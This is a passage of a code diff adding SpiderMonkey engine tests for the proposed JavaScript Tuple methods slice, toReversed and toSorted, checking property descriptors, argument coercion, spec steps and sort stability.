+++ b/js/src/tests/non262/Tuple/prototype/slice/length.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.slice, "length");
+assertEq(desc.value, 2);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.slice, "name");
+assertEq(desc.value, "slice");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "slice");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.slice), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.slice();
+}, TypeError, '`let t = #[1]; new t.slice()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/name.js b/js/src/tests/non262/Tuple/prototype/slice/name.js
new file mode 100644
index 0000000000..19b6957105
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/name.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.slice, "name");
+assertEq(desc.value, "slice");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/negative-zero.js b/js/src/tests/non262/Tuple/prototype/slice/negative-zero.js
new file mode 100644
index 0000000000..029455c5d0
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/negative-zero.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var sample = #[40,41,42,43];
+
+assertEq(sample.slice(-0), sample);
+assertEq(sample.slice(-0, 4), sample);
+assertEq(sample.slice(0, -0), #[]);
+assertEq(sample.slice(-0, -0), #[]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/not-a-constructor.js b/js/src/tests/non262/Tuple/prototype/slice/not-a-constructor.js
new file mode 100644
index 0000000000..ebd27dd17d
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/not-a-constructor.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+assertEq(isConstructor(Tuple.prototype.slice), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.slice();
+}, TypeError, '`let t = #[1]; new t.slice()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/prop-desc.js b/js/src/tests/non262/Tuple/prototype/slice/prop-desc.js
new file mode 100644
index 0000000000..1eda464d2f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/prop-desc.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "slice");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+assertEq(typeof Tuple.prototype.slice, 'function');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-end.js b/js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-end.js
new file mode 100644
index 0000000000..9d9f8733a3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-end.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var o1 = { valueOf: function() { throw new SyntaxError(); } };
+var o2 = { toString: function() { throw new SyntaxError(); } };
+
+var sample = #[];
+
+assertThrowsInstanceOf(() => sample.slice(0, o1),
+ SyntaxError, "valueOf throws");
+assertThrowsInstanceOf(() => sample.slice(0, o2),
+ SyntaxError, "toString throws");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-start.js b/js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-start.js
new file mode 100644
index 0000000000..0c8b23acf7
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/return-abrupt-from-start.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var o1 = { valueOf: function() { throw new SyntaxError(); } };
+var o2 = { toString: function() { throw new SyntaxError(); } };
+
+var sample = #[];
+
+assertThrowsInstanceOf(() => sample.slice(o1),
+ SyntaxError, "valueOf throws");
+assertThrowsInstanceOf(() => sample.slice(o2),
+ SyntaxError, "toString throws");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/slice.js b/js/src/tests/non262/Tuple/prototype/slice/slice.js
new file mode 100644
index 0000000000..c1d30dfefa
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/slice.js
@@ -0,0 +1,176 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.5 Tuple.prototype.slice ( start, end )
+When the slice method is called with two arguments, start and end, and returns a Tuple containing the elements of the Tuple from element start up to, but not including, element end (or through the end of the tuple if end is undefined). If start is negative, it is treated as length + start where length is the length of the tuple. If end is negative, it is treated as length + end where length is the length of the tuple.
+
+The following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be T.[[Sequence]].
+3. Let len be the number of elements in list.
+4. Let relativeStart be ? ToInteger(start).
+5. If relativeStart < 0, let k be max((len + relativeStart), 0); else let k be min(relativeStart, len).
+6. If end is undefined, let relativeEnd be len; else let relativeEnd be ? ToInteger(end).
+7. If relativeEnd < 0, let final be max((len + relativeEnd), 0); else let final be min(relativeEnd, len).
+8. Let newList be a new empty List.
+9. Repeat, while k < final,
+a. Let kValue be list[k].
+b. Assert: Type(kValue) is not Object.
+c. Append kValue to the end of newList.
+d. Set k to k + 1.
+10. Return a new Tuple value whose [[Sequence]] is newList.
+*/
+
+/* Step 1 */
+/* slice() should throw on a non-Tuple */
+let method = Tuple.prototype.slice;
+assertEq(method.call(#[1,2,3,4,5,6], 2, 4), #[3,4]);
+assertEq(method.call(Object(#[1,2,3,4,5,6]), 2, 4), #[3,4]);
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(true), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(false), TypeError,
+ "value of TupleObject must be a Tuple");
+
+
+let tup = #[1,2,3];
+let len = 3;
+/* Step 4 -- toInteger returns 0 for non-integers */
+assertEq(tup.slice("monkeys", 4), tup.slice(0, 4));
+assertThrowsInstanceOf(() => tup.slice(Symbol("1"), 4),
+ TypeError, "can't convert symbol to number");
+assertEq(tup.slice(undefined, 4), tup.slice(0, 4));
+assertEq(tup.slice(undefined), tup.slice(0));
+assertEq(tup.slice(NaN), tup.slice(0));
+assertEq(tup.slice(Number.POSITIVE_INFINITY), tup.slice(len));
+assertEq(tup.slice(Number.NEGATIVE_INFINITY), tup.slice(0));
+assertEq(tup.slice({valueOf: function() { return 0 },
+ toString: function() { return 3 }}),
+ tup.slice(0, 3));
+assertEq(tup.slice(), tup.slice(0));
+
+
+/* Step 5 -- if relativeStart < 0, k should be max((len + relativeStart), 0) */
+/* Case 1: len + relativeStart > 0 */
+var relativeStart = -2;
+assertEq(tup.slice(relativeStart, 4), tup.slice(len + relativeStart, 4));
+/* Case 2: len + relativeStart === 0 */
+relativeStart = (-1 * len);
+assertEq(tup.slice(relativeStart, 4), tup.slice(0, 4));
+/* Case 3: len + relativeStart < 0 */
+relativeStart = -256;
+assertEq(tup.slice(relativeStart, 4), tup.slice(0, 4));
+
+/* Step 5 -- start positive, end positive */
+var tup2 = #[1,2,3,4,5,6,7];
+relativeStart = 2;
+/* length > end > start */
+assertEq(tup2.slice(relativeStart, 4), #[3,4]);
+/* start == len */
+/* length == end == start */
+assertEq(tup2.slice(tup2.length, tup2.length), #[]);
+/* start > len */
+/* start > end == len */
+assertEq(tup2.slice(tup2.length + 5, tup2.length), tup2.slice(tup2.length, tup2.length));
+/* length > end > start = 0 */
+relativeStart = 0;
+assertEq(tup2.slice(relativeStart, 4), #[1,2,3,4]);
+/* length > end == start > 0 */
+relativeStart = 2;
+assertEq(tup2.slice(relativeStart, relativeStart), #[]);
+/* length > start > end > 0 */
+relativeStart = 4;
+relativeEnd = 2;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[]);
+/* length = end > start > 0 */
+relativeEnd = tup2.length;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[5,6,7]);
+/* end > length > start > 0 */
+relativeEnd = tup2.length + 3;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[5,6,7]);
+
+/* length > end == abs(start), start < 0 */
+relativeStart = -4;
+relativeEnd = 4;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[4]);
+/* length == end > abs(start), start < 0 */
+relativeEnd = tup2.length;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[4,5,6,7]);
+/* abs(start) = length > end > 0, start < 0 */
+relativeStart = -1*tup2.length;
+relativeEnd = 5;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[1,2,3,4,5]);
+/* abs(start) > length = end > 0 */
+relativeStart = (-1*tup2.length) - 4;
+relativeEnd = tup2.length;
+assertEq(tup2.slice(relativeStart, relativeEnd), tup2);
+
+/* Step 6 -- if end is undefined, let relativeEnd = len */
+assertEq(tup.slice(2, undefined), tup.slice(2, len));
+assertEq(tup.slice(2), tup.slice(2, len));
+/* relativeEnd converted with toInteger */
+assertEq(tup.slice(2, "monkeys"), tup.slice(2, 0));
+assertThrowsInstanceOf(() => tup.slice(2, Symbol("x")),
+ TypeError, "can't convert Symbol to Number");
+assertEq(tup.slice(2, 2.5), tup.slice(2, 0));
+assertEq(tup.slice(2, NaN), tup.slice(2, 0));
+assertEq(tup.slice(2, Number.POSITIVE_INFINITY), tup.slice(2, len));
+assertEq(tup.slice(2, Number.NEGATIVE_INFINITY), tup.slice(2, 0));
+assertEq(tup.slice(0, Number.POSITIVE_INFINITY), tup.slice(0, len));
+assertEq(tup.slice(0, Number.NEGATIVE_INFINITY), tup.slice(0, 0));
+assertEq(tup.slice({valueOf: function() { return 3 },
+ toString: function() { return 0 }}),
+ tup.slice(0, 0));
+
+/* Step 7 -- if relativeEnd < 0, final should be max((len + relativeEnd), 0) */
+/* Case 1: len + relativeEnd > 0 */
+var relativeEnd = -1;
+relativeStart = 2;
+assertEq(tup.slice(relativeStart, relativeEnd), tup.slice(relativeStart, len + relativeEnd));
+/* Case 2: len + relativeEnd === 0 */
+relativeEnd = (-1 * len);
+assertEq(tup.slice(relativeStart, relativeEnd), tup.slice(relativeStart, 0));
+/* Case 3: len + relativeEnd < 0 */
+relativeEnd = -256;
+assertEq(tup.slice(relativeStart, relativeEnd), tup.slice(relativeStart, 0));
+/* start and end both negative */
+relativeStart = -3;
+relativeEnd = -1;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[5, 6]);
+relativeEnd = (-1*len);
+assertEq(tup2.slice(relativeStart, relativeEnd), #[]);
+relativeEnd = -256;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[]);
+
+/* length > abs(end) > start === 0 */
+relativeStart = 0;
+relativeEnd = -3;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[1,2,3,4]);
+/* length > abs(end) > start > 0 */
+relativeStart = 2;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[3,4]);
+/* length == abs(end) > start == 0 */
+relativeEnd = -1*tup2.length;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[]);
+/* abs(end) > length > start > 0 */
+relativeEnd = (-1*tup2.length) - 5;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[]);
+/* -length == start < end < 0 */
+relativeStart = -1*tup2.length;
+relativeEnd = 5;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[1,2,3,4,5]);
+/* -length < start < end < 0 */
+relativeStart = -3;
+relativeEnd = -1;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[5,6]);
+/* start < -length < end < 0 */
+relativeStart = (-1*tup2.length) - 5;
+relativeEnd = -3;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[1,2,3,4]);
+/* start = end < -length */
+relativeEnd = relativeStart;
+assertEq(tup2.slice(relativeStart, relativeEnd), #[]);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/slice/tointeger-end.js b/js/src/tests/non262/Tuple/prototype/slice/tointeger-end.js
new file mode 100644
index 0000000000..a379e5d7d3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/tointeger-end.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.5
+...
+6. If end is undefined, let relativeEnd be len; else let relativeEnd be ? ToInteger(end).
+*/
+
+var obj = {
+ valueOf: function() {
+ return 2;
+ }
+};
+
+
+var sample = #[40, 41, 42, 43];
+
+assertEq(sample.slice(0, false), #[]);
+assertEq(sample.slice(0, true), #[40]);
+
+assertEq(sample.slice(0, NaN), #[]);
+assertEq(sample.slice(0, null), #[]);
+assertEq(sample.slice(0, undefined), #[40, 41, 42, 43]);
+
+assertEq(sample.slice(0, 0.6), #[]);
+assertEq(sample.slice(0, 1.1), #[40]);
+assertEq(sample.slice(0, 1.5), #[40]);
+assertEq(sample.slice(0, -0.6), #[]);
+assertEq(sample.slice(0, -1.1), #[40, 41, 42]);
+assertEq(sample.slice(0, -1.5), #[40, 41, 42]);
+
+assertEq(sample.slice(0, "3"), #[40, 41, 42]);
+
+assertEq(sample.slice(0, obj), #[40, 41]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/tointeger-start.js b/js/src/tests/non262/Tuple/prototype/slice/tointeger-start.js
new file mode 100644
index 0000000000..55a59ad024
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/tointeger-start.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.5
+...
+4. Let relativeStart be ? ToInteger(start).
+*/
+
+var obj = {
+ valueOf: function() {
+ return 2;
+ }
+};
+
+
+var sample = #[40, 41, 42, 43];
+
+assertEq(sample.slice(false), sample);
+assertEq(sample.slice(true), #[41, 42, 43]);
+
+assertEq(sample.slice(NaN), sample);
+assertEq(sample.slice(null), sample);
+assertEq(sample.slice(undefined), sample);
+
+assertEq(sample.slice(0.6), sample);
+assertEq(sample.slice(1.1), #[41, 42, 43]);
+assertEq(sample.slice(1.5), #[41, 42, 43]);
+assertEq(sample.slice(-0.6), sample);
+assertEq(sample.slice(-1.1), #[43]);
+assertEq(sample.slice(-1.5), #[43]);
+
+assertEq(sample.slice("3"), #[43]);
+
+assertEq(sample.slice(obj), #[42, 43]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/slice/tuple-length-internal.js b/js/src/tests/non262/Tuple/prototype/slice/tuple-length-internal.js
new file mode 100644
index 0000000000..f0fff9693e
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/slice/tuple-length-internal.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+/* Ensure that slice uses internal length and not length property */
+
+
+var getCalls = 0;
+var desc = {
+ get: function getLen() {
+ getCalls++;
+ return 0;
+ }
+};
+
+Object.defineProperty(Tuple.prototype, "length", desc);
+
+var sample = Object(#[42, 43]);
+
+var result = sample.slice();
+
+assertEq(getCalls, 0, "ignores length properties");
+assertEq(result, #[42, 43]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toReversed/indexed-setters.js b/js/src/tests/non262/Tuple/prototype/toReversed/indexed-setters.js
new file mode 100644
index 0000000000..a2477d37e3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toReversed/indexed-setters.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// If an indexed Array setter is overridden, TupleSplice shouldn't use it
+// when constructing the intermediate array
+
+var z = 5;
+print("1111");
+Object.defineProperty(Array.prototype, '0', { set: function(y) { z = 42; }});
+print("2222");
+let newT = #[1,2,3].toReversed();
+print("3333");
+assertEq(z, 5);
+print("4444");
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-func.js b/js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-func.js
new file mode 100644
index 0000000000..2e2c6facce
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-func.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var toReversed = Tuple.prototype.toReversed;
+
+assertEq(typeof toReversed, 'function');
+
+assertThrowsInstanceOf(function() {
+ toReversed();
+}, TypeError, "toReversed() invoked as function");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-method.js b/js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-method.js
new file mode 100644
index 0000000000..4014c97e4f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toReversed/invoked-as-method.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var TuplePrototype = Tuple.prototype;
+
+assertEq(typeof TuplePrototype.toReversed, 'function');
+
+assertThrowsInstanceOf(function() {
+ TuplePrototype.toReversed();
+}, TypeError, "toReversed() invoked as method");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toReversed/length.js b/js/src/tests/non262/Tuple/prototype/toReversed/length.js
new file mode 100644
index 0000000000..ff4d7e6114
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toReversed/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toReversed, "length");
+assertEq(desc.value, 0);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toReversed, "name");
+assertEq(desc.value, "toReversed");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "toReversed");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.toReversed), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.toReversed();
+}, TypeError, '`let t = #[1]; new t.toReversed()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toReversed/this-is-not-tuple.js b/js/src/tests/non262/Tuple/prototype/toReversed/this-is-not-tuple.js
new file mode 100644
index 0000000000..7df6300533
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toReversed/this-is-not-tuple.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var withReversed = Tuple.prototype.withReversed;
+
+var thisVals = [[undefined, "undefined"],
+ [null, "null"],
+ [42, "42"],
+ ["1", "1"],
+ [true, "true"],
+ [false, "false"],
+ [Symbol("s"), "Symbol(\"s\")"],
+ [[], "[]"],
+ [{}, "{}"]];
+
+for (pair of thisVals) {
+ thisVal = pair[0];
+ errorMsg = "this is: " + pair[1];
+ assertThrowsInstanceOf(() => withReversed.call(thisVal),
+ TypeError, errorMsg);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toReversed/toReversed.js b/js/src/tests/non262/Tuple/prototype/toReversed/toReversed.js
new file mode 100644
index 0000000000..2c672ef1ce
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toReversed/toReversed.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.28 Tuple.prototype.toReversed ( )
+When the toReversed method is called, the following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let oldList be a new List containing the elements of T.[[Sequence]].
+3. Let newList be a new empty List.
+4. Repeat, while oldList is not empty,
+a. Remove the last element from oldList, and let E be the value of the element.
+b. Append E to the end of List newList.
+5. Return a new Tuple value whose [[Sequence]] is newList.
+*/
+/* Step 1 */
+/* toReversed() should throw on a non-Tuple */
+let method = Tuple.prototype.toReversed;
+assertEq(method.call(#[1,2,3,4,5,6]), #[6,5,4,3,2,1]);
+assertEq(method.call(Object(#[1,2,3,4,5,6])), #[6,5,4,3,2,1]);
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+
+assertEq(#[].toReversed(), #[]);
+assertEq(#[1].toReversed(), #[1]);
+
+/* Test that length is still handled correctly if it's overridden */
+Object.defineProperty(Tuple.prototype, "length", { get() { return 0 } })
+assertEq(#[1,2,3,4,5].toReversed(), #[5,4,3,2,1]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-call-throws.js b/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-call-throws.js
new file mode 100644
index 0000000000..4442b0d3d5
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-call-throws.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+let sample = #[42, 43, 44, 45, 46];
+var calls = 0;
+
+let comparefn = function() {
+ calls += 1;
+ throw new TypeError();
+};
+
+assertThrowsInstanceOf(function() {
+ sample.toSorted(comparefn);
+}, TypeError, "comparefn should throw");
+
+assertEq(calls, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-calls.js b/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-calls.js
new file mode 100644
index 0000000000..e8d65b9445
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-calls.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var expectedThis = (function() {
+ return this;
+})();
+
+
+var sample = #[42, 42, 42, 42, 42];
+var calls = [];
+
+var comparefn = function() {
+ calls.push([this, arguments]);
+};
+
+let result = sample.toSorted(comparefn);
+
+assertEq(calls.length > 0, true);
+
+calls.forEach(function(args) {
+ assertEq(args[0], expectedThis);
+ assertEq(args[1].length, 2);
+ assertEq(args[1][0], 42);
+ assertEq(args[1][0], 42);
+});
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-nonfunction-call-throws.js b/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-nonfunction-call-throws.js
new file mode 100644
index 0000000000..5a68e1d343
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/comparefn-nonfunction-call-throws.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+ 1. If _comparefn_ is not *undefined* and IsCallable(_comparefn_) is *false*, throw a *TypeError* exception.
+ ...
+*/
+
+let sample = #[42, 43, 44, 45, 46];
+
+let compareFnVals = [[null, "null"],
+ [true, "true"],
+ [false, "false"],
+ ['', "\'\'"],
+ [/a/g, "/a/g"],
+ [42, "42"],
+ [[], "[]"],
+ [{}, "{}"]];
+
+for (pair of compareFnVals) {
+ f = pair[0];
+ errorMsg = "comparefn is: " + pair[1];
+ assertThrowsInstanceOf(() => sample.withSorted(f),
+ TypeError, errorMsg);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-func.js b/js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-func.js
new file mode 100644
index 0000000000..da68b8b8fc
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-func.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var toSorted = Tuple.prototype.toSorted;
+
+assertEq(typeof toSorted, 'function');
+
+assertThrowsInstanceOf(function() {
+ toSorted();
+}, TypeError, "toSorted invoked as function");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-method.js b/js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-method.js
new file mode 100644
index 0000000000..86fc2e713b
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/invoked-as-method.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var TuplePrototype = Tuple.prototype;
+
+assertEq(typeof TuplePrototype.toSorted, 'function');
+
+assertThrowsInstanceOf(function() {
+ TuplePrototype.toSorted();
+}, TypeError, "toSorted() invoked as method");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/length.js b/js/src/tests/non262/Tuple/prototype/toSorted/length.js
new file mode 100644
index 0000000000..7a94575ce6
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toSorted, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toSorted, "name");
+assertEq(desc.value, "toSorted");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "toSorted");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.toSorted), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.toSorted();
+}, TypeError, '`let t = #[1]; new t.toSorted()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/sorted-values.js b/js/src/tests/non262/Tuple/prototype/toSorted/sorted-values.js
new file mode 100644
index 0000000000..ecdd349145
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/sorted-values.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var sample;
+
+sample = #[4,3,2,1].toSorted();
+assertEq(sample, #[1,2,3,4]);
+
+sample = #[3, 4, 1, 2].toSorted();
+assertEq(sample, #[1, 2, 3, 4]);
+
+sample = #[3,4,3,1,0,1,2].toSorted();
+assertEq(sample, #[0,1,1,2,3,3,4]);
+
+sample = #[1,0,-0,2].toSorted();
+// This matches the behavior of Array.sort()
+assertEq(sample, #[0,-0,1,2]);
+
+sample = #[-4,3,4,-3,2,-1,1,0].toSorted();
+assertEq(sample, #[-1,-3,-4,0,1,2,3,4]);
+
+sample = #[0.5,0,1.5,1].toSorted();
+assertEq(sample, #[0,0.5,1,1.5]);
+
+sample = #[0.5,0,1.5,-0.5,-1,-1.5,1].toSorted();
+assertEq(sample, #[-0.5,-1,-1.5,0,0.5,1,1.5]);
+
+sample = #[3,4,Infinity,-Infinity,1,2].toSorted();
+assertEq(sample, #[-Infinity,1,2,3,4,Infinity]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/stability.js b/js/src/tests/non262/Tuple/prototype/toSorted/stability.js
new file mode 100644
index 0000000000..1b2d0eb193
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/stability.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Treat 0..3, 4..7, etc. as equal.
+const compare = (a, b) => (a / 4 | 0) - (b / 4 | 0);
+
+// Create a tuple of the form `[0, 1, …, 126, 127]`.
+var tup = Tuple.from({ length: 128 }, (_, i) => i);
+
+const tuple1 = tup;
+assertEq(tuple1.toSorted(compare), tup);
+
+
+// Reverse `tup` so it becomes `[127, 126, …, 1, 0]`.
+tup = tup.toReversed();
+
+const tuple2 = tup;
+assertEq(tuple2.toSorted(compare),
+ #[
+ 3, 2, 1, 0, 7, 6, 5, 4, 11, 10, 9, 8,
+ 15, 14, 13, 12, 19, 18, 17, 16, 23, 22, 21, 20,
+ 27, 26, 25, 24, 31, 30, 29, 28, 35, 34, 33, 32,
+ 39, 38, 37, 36, 43, 42, 41, 40, 47, 46, 45, 44,
+ 51, 50, 49, 48, 55, 54, 53, 52, 59, 58, 57, 56,
+ 63, 62, 61, 60, 67, 66, 65, 64, 71, 70, 69, 68,
+ 75, 74, 73, 72, 79, 78, 77, 76, 83, 82, 81, 80,
+ 87, 86, 85, 84, 91, 90, 89, 88, 95, 94, 93, 92,
+ 99, 98, 97, 96, 103, 102, 101, 100, 107, 106, 105, 104,
+ 111, 110, 109, 108, 115, 114, 113, 112, 119, 118, 117, 116,
+ 123, 122, 121, 120, 127, 126, 125, 124,
+ ]);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/this-is-not-tuple.js b/js/src/tests/non262/Tuple/prototype/toSorted/this-is-not-tuple.js
new file mode 100644
index 0000000000..3d1761f08f
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/this-is-not-tuple.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var withSorted = Tuple.prototype.withSorted;
+
